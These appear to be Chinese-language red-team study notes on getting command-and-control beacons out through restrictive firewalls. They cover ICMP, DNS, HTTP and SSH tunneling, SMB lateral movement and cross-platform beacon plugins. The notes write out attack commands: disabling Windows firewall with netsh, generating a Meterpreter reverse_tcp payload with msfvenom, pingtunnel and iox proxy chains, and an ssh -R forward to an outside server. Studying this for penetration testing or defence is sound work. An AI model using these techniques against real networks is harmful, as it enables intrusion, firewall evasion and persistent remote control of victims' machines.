#防火墙策略-入站规则&出站规则&自定义
1、防火墙默认入站&出站策略
2、防火墙自定义入站&出站策略
内网域防火墙同步策略:
操作:组策略管理-域-创建GPO链接-防火墙设置
更新策略:强制&命令&重启
命令:gpupdate/force
限制端口分为:入站限制端口、出站限制端口、出入站均限制端口。
入站限制端口,出站未限制端口,使用反向连接。
出站限制端口,入站未限制端口,使用正向连接。
出入站均限制端口,使用端口绕过进行连接,建议配合反向连接。
限制协议分为:
入站限制、出站限制、出入均限制,限制又分为:单协议限制、多协议限制、全部限制。
入站限制:
单协议限制,使用其它协议或者反向连接绕过。(隧道技术)
多协议限制,使用未被限制的协议或者反向连接绕过。(隧道技术)
全部协议限制,使用放弃或者反向连接绕过,但正常不会将所以协议都封闭的。
出站限制:
参考上面使用正向连接绕过。
出入均限制:
单协议限制,使用其它协议绕过。(隧道技术)
多协议限制,使用未被限制的协议绕过。(隧道技术)
全部协议限制,使用放弃绕过,但正常不会将所以协议都封闭的。
单层目标机防火墙开启上线解决方案:
1、命令关闭防火墙
2、反向中转连接上线
3、利用隧道技术上线(规则决定)
单层跳板机防火墙开启上线解决方案:
1、命令关闭防火墙
2、正向监听连接上线
3、利用隧道技术上线(规则决定)
双层防火墙开启上线解决方案:
1、命令关闭防火墙
2、利用隧道技术上线(规则决定)
防火墙实验(适用场景):
1、内网无域环境下
2、内网有域环境下(强制策略同步)
Windows防火墙命令:
参考:https://www.cnblogs.com/tomtellyou/p/16300557.html
查看当前防火墙状态:netsh advfirewall show allprofiles
关闭防火墙:netsh advfirewall set allprofiles state off
开启防火墙:netsh advfirewall set allprofiles state on
恢复初始防火墙设置:netsh advfirewall reset
启用桌面防火墙: netsh advfirewall set allprofiles state on
设置默认输入和输出策略:netsh advfirewall set allprofiles firewallpolicy allowinbound,allowoutbound
如果设置为拒绝使用blockinbound,blockoutbound
学隧道前先搞清楚
0、不是有互联网才叫出网
1、C2常见上线采用的协议
2、常见的协议层出网判断
常用的隧道技术:
利用各种隧道技术,以网络防火墙允许的协议,
绕过网络防火墙的封锁,实现访问被封锁的目标网络
网络层:IPv6 隧道、ICMP 隧道
传输层:TCP 隧道、UDP 隧道、常规端口转发
应用层:SSH 隧道、HTTP/S 隧道、DNS 隧道
协议 判断命令
ICMP ping ip or domain
HTTP curl ip or domain
SSH ssh ip or domain
DNS nslookup domain
TCP telnet ip port
... ................
#C2上线-开防火墙入站只80&出站只放ICMP:
ICMP 通过 PING 命令访问远程计算机,建立 ICMP 隧道,将 TCP/UDP 数据封装到 ICMP 的 PING 数据包中,从而穿过防火墙,防火墙一般不会屏蔽 PING 数据包,实现不受限制的访问。
应用场景:80为入口权限点,ICMP为上线突破口
适用场景:目标入站正向被拦截,出站有ICMP出网
排查出网协议:curl nslookup ping等命令
https://github.com/esrrhs/pingtunnel
CS:
./pingtunnel -type server
pingtunnel -type client -l :6666 -s 192.168.139.141 -t 192.168.139.141:7777 -tcp 1 -noprint 1 -nolog 1
监听器配置:
127.0.0.1 6666(后门)
192.168.139.141 7777
MSF:
pingtunnel -type client -l :3333 -s 192.168.139.141 -t 192.168.139.141:3344 -tcp 1 -noprint 1 -nolog 1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=3333 -f exe -o msf.exe
监听器配置:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 3344
run
#C2上线-开防火墙入站只80&出站只放DNS:
应用场景:80为入口权限点,DNS为上线突破口
适用场景:目标入站正向被拦截,出站有DNS出网
排查出网协议:curl nslookup ping等命令
CS:
-域名申请及配置
-监听器创建及配置
-后门绑定监听器生成
checkin
mode dns-txt
MSF:
pro版本的reverse_dns模块
https://zhuanlan.zhihu.com/p/424351656
https://blog.csdn.net/vspiders/article/details/78999624
#C2上线-SMB-开防火墙入站只445:
SMB一般在防火墙入站默认是开启的,判断目标端口是否开放
适用场景:防火墙放行的入口打不下利用放行的SMB移动获取权限
利用条件:密码喷射或已知口令的情况下直接正向SMB横向移动拿下
#后续穿透问题
1、Pingtunel配合iox代理Socks内网穿透
2、dnscat2(DNS)配合上线
C2:
接收客户端传递的ICMP
./pingtunnel -type server -noprint 1 -nolog 1 -key 000000
将本地4455转至5566端口
./iox proxy -l 4455 -l 5566
Web
将本地2222的TCP封装IMCP给192.168.139.141:4455
pingtunnel -type client -l 127.0.0.1:2222 -s 192.168.139.141 -t 192.168.139.141:4455 -tcp 1 -noprint 1 -nolog 1 -key 000000
建立SockS节点绑定3389端口:
iox.exe proxy -r 127.0.0.1:2222
#HTTP隧道搭建内网穿透:(解决目标出站限制做信息收集)(http主要是为了解决通讯问题的 不是上线cs的)

2访问3由于出战限制 无法进行访问 但可以用下面工具进行访问
-项目Neo-reGeorg
https://github.com/L-codes/Neo-re Georg
1、设置密码生成(aspx|ashx|jsp|jspx|php)并上传
2、使用neoreg.py连接WEB服务器,在本地建立连接
3、Proxifier添加socks5服务器并配置连接规则测试
同类推荐项目:
https://github.com/nccgroup/ABPTTS
-哥斯拉&冰蝎
哥斯拉:HttpProxy
冰蝎:内网穿透(本地监听端口是使用者的电脑进行访问 不是跳板机上进行访问的)
#HTTP隧道搭建上线C2:(解决目标出站限制上线C2)
太多时候遇到目标不出网了,TCP、ICMP、DNS协议均不通,
无法直接与公网的CS/MSF/Sliverd等其他C2服务端建立连接。
1、内网穿透建立HTTP隧道穿透
2、将远程IP正向后门端口转发本地端口
3、CS生成绑定正向后门,连接本地端口
#SSH隧道搭建内网穿透:(解决目标出站限制做信息收集)
注:由于CS无SSH协议监听器配置,无法上线
1、环境复现搭建:
如:模拟Linux为被控机,配置防火墙策略
iptables -F /* 清除所有规则 */
iptables -A INPUT -p tcp --dport 22 -j ACCEPT /*允许包从22端口进入*/
iptables -A OUTPUT -p tcp --sport 22 -m state --state ESTABLISHED -j ACCEPT /*允许从22端口进入的包返回*/
iptables -A OUTPUT -p udp --dport 53 -j ACCEPT /* 域名解析端口,一般不开 */
iptables -A INPUT -p udp --sport 53 -j ACCEPT /* 域名解析端口,一般不开 */
iptables -A INPUT -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT /*允许本机访问本机*/
iptables -A OUTPUT -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT
iptables -A INPUT -p tcp -s 0/0 --dport 80 -j ACCEPT /*允许所有IP访问80端口*/
iptables -A OUTPUT -p tcp --sport 80 -m state --state ESTABLISHED -j ACCEPT
iptables-save > /etc/sysconfig/iptables /*保存配置*/
iptables -L /* 显示iptables列表 */
如:模拟Windows为被控机,配置防火墙策略:SSH 22端口放行
自己的服务器记得开启ssh协议登录:
vi /etc/ssh/sshd_config
PermitRootLogin yes
PasswordAuthentication yes
/etc/init.d/ssh start
/etc/init.d/ssh restart
2、适用场景:
内网主机防火墙限制了出网协议,可以利用SSH转发流量实现内网穿透(内网穿透就是解决网络不可达的问题)
3、需要条件:(解决目标出站限制)
被控主机需支持SSH协议(Windows需要安装支持软件)
将2.22上80端口流量转发到xx.xx上的1234端口(2.22是目标机器)
ssh -CfNg -R 1234:192.168.2.22:80 root@xx.xx.xx.xx
#控制上线-插件-Linux&Mac&IOS&Android
https://github.com/gloxec/CrossC2
面向Linux Mac IOS Android系统上线支持
1、插件使用
2、命令使用
使用参考:
https://gloxec.github.io/CrossC2/zh_cn/
目前版本只支持反向的https和正向的tcp
1、下载对应版本加载器和CNA插件
2、上传加载器文件和本地加载CNA插件
3、修改CNA插件配置路径及上传Key文件
4、使用命令或插件绑定HTTPS监听器生成